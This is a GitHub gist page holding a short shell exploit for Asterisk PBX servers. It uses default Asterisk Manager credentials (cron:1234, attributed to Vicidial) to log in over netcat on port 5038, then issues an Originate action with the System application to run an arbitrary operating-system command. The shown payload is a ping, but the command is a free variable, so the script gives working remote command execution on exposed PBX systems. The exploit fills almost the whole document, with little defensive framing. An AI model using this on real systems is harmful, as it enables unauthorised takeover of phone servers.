Skip to content

Instantly share code, notes, and snippets.

@droberson
Created June 16, 2017 12:47
Show Gist options
  • Select an option

  • Save droberson/29eb35d1b9b0a432c917435052c8cbb4 to your computer and use it in GitHub Desktop.

Select an option

Save droberson/29eb35d1b9b0a432c917435052c8cbb4 to your computer and use it in GitHub Desktop.
Many PBX distros include default Asterisk Manager credentials. Vicidial uses cron:1234.
This requires a valid, registered extension to work. This example pings you. Verify with
tcpdump or Wireshark.
USER="cron"
SECRET="1234"
PROTOCOL="IAX2" # Could be SIP or something else.
EXTENSION="4000"
COMMAND="ping -c 5 10.10.10.10"
(echo "ACTION: LOGIN\r\nUSERNAME: ${USER}\r\nSECRET: ${SECRET}\r\n\r\nAction: Originate\r\nChannel: ${PROTOCOL}/${EXTENSION}\r\nExten: ${EXTENSION}\r\nPriority: 1\r\nCallerID: lol\r\nApplication: System\r\nData: ${COMMAND}\r\n\r\n") | \
nc ip.address.of.asterisk.manager 5038
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment